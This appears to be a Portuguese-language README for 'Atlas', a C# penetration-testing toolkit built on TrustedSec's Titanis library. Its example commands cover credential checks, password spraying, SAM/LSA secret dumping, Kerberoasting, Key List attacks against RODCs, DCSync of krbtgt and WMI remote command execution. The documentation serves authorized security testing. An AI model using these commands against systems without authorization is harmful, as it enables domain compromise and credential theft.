
Ferramenta de execução de rede multiplataforma (SMB/Kerberos/WMI/LDAP/DCSync) construída sobre o Titanis da TrustedSec - fluxo de trabalho estilo NetExec em C#
Atlas é um kit de ferramentas multiplataforma (Windows/Linux) de execução em rede e avaliação de segurança, construído sobre a biblioteca de protocolos Titanis da TrustedSec. É inspirado no fluxo de trabalho do NetExec/CrackMapExec: listas de alvos, conjuntos de credenciais, enumeração modular e saída compacta de console no formato [HH:mm:ss] [+] host - mensagem.
Esta ferramenta destina-se a testes de segurança autorizados. Use apenas contra sistemas para os quais você tenha permissão explícita de teste.
| Protocolo | Capacidades |
|---|---|
smb | Verificação de autenticação (NTLM/Kerberos/anônimo), compartilhamentos, usuários, grupos, discos, sessões via RPC SRVS/SAMR; extração de segredos SAM e LSA via Remote Registry; listagem de diretórios, get/put/mkdir/rm via SMB2/3 |
kerberos | Enumeração de usuários (classificação AS-REQ), detecção de pré-autenticação / AS-REP roastable, Kerberoasting com saída em formato hashcat, ataque Key List contra RODCs |
wmi | Verificação de autenticação via DCOM/WMI, execução remota de comandos via Win32_Process.Create |
ldap | Verificação de autenticação (bind simples SASL ou RFC 4511), consultas paginadas de subárvore com seleção de atributos |
dcsync | Replicação de material de credenciais de um DC via [MS-DRSR] (IDL_DRSGetNCChanges + EXOP_REPL_OBJ) |
Compartilhado entre todos os protocolos:
a.b.c.d-e), listas separadas por vírgula, @arquivo.kirbi/.ccache, certificados PKINIT, S4U, substituições de SPN, SOCKS5O repositório incorpora o código-fonte do Titanis em external/Titanis e o compila como parte da solução.
git clone https://github.com/<sua-conta>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
O binário resultante é um aplicativo .NET dependente de framework:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocolo> <alvos> [autenticação] [ações] [opções]
A especificação de alvos aceita qualquer combinação de: HOST, 10.0.0.5, 192.168.1.0/24, 10.0.0.1-64, listas separadas por vírgula ou @alvos.txt.
# Apenas verificação de credenciais
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeração
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# Extração de SAM / LSA (requer admin local)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# Operações de arquivo
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Módulos
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess
atlas smb 10.0.0.5 -u admin -p pass -M localadmins
# Pulverização de senhas
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# Enumeração de usuários (nenhuma credencial necessária)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (requer qualquer credencial de domínio)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Ataque Key List contra um RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # verificação de autenticação
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # execução
# Bind SASL (NTLM/Kerberos) - típico contra Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
# Bind simples RFC 4511 - típico contra OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
-Query '(objectClass=*)' -Base 'dc=example,dc=com'
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'
Execute atlas <protocolo> -h para a referência completa de parâmetros.
Atlas.sln
Directory.Build.props No-op intencional (ver nota)
src/
Atlas.props Configurações de compilação compartilhadas (importadas explicitamente pelos projetos Atlas)
Atlas.Core/ Análise de alvos, saída de console, registro de módulos
Atlas.Protocols.Smb/ Host SMB + módulos
Atlas.Protocols.Kerberos/ Enumeração AS-REQ, roasting, ataque Key List
Atlas.Protocols.Wmi/ Host WMI/DCOM
Atlas.Protocols.Ldap/ Host LDAP
Atlas.Protocols.Drsr/ DCSync
Atlas.Cli/ Ponto de entrada / despachante de protocolos
external/Titanis/ Código-fonte Titanis incorporado (compilado a partir do código-fonte; não no NuGet)
Nota: O
Directory.Build.propsna raiz do repositório é intencionalmente vazio. A compilação do Titanis importa$(SolutionDir)Directory.Build.props; o arquivo deve existir ao compilar a partir desta solução, mas deve permanecer vazio para que as configurações upstream não vazem para a árvore incorporada.
Este projeto vincula e distribui código-fonte do Titanis da TrustedSec, que é licenciado sob GPL-3.0. Consequentemente, este projeto é distribuído sob GPL-3.0. Consulte external/Titanis/LICENSE.
| Módulo | Protocolo | Descrição |
|---|
spider | smb | Rastreador recursivo de compartilhamentos (opções depth, maxfiles, match) |
shareaccess | smb | Verificação de acesso READ/WRITE por compartilhamento |
localadmins | smb | Membros do grupo Administradores locais via SAMR, nomes resolvidos via LSA |
| Opção | Significado |
|---|
-u, -UserName | Nome de usuário (user, DOMAIN\user ou user@realm) |
-p, -Password | Senha |
-NtlmHash | Hash NT (NTLM + Kerberos RC4) |
-AesKey | Chave Kerberos AES128/AES256 |
-Kdc | Endpoint KDC para Kerberos |
-Tgt / -TicketCache / -Tickets | Entrada de tickets .kirbi / .ccache |
-Keytab | Arquivo keytab |
-UserCert (+-UserKey) | Autenticação por certificado PKINIT |
-Anonymous | Sessão nula |
-ha | Substituição de endereço de host (use FQDN na posição de alvo + IP aqui para SPNs corretos) |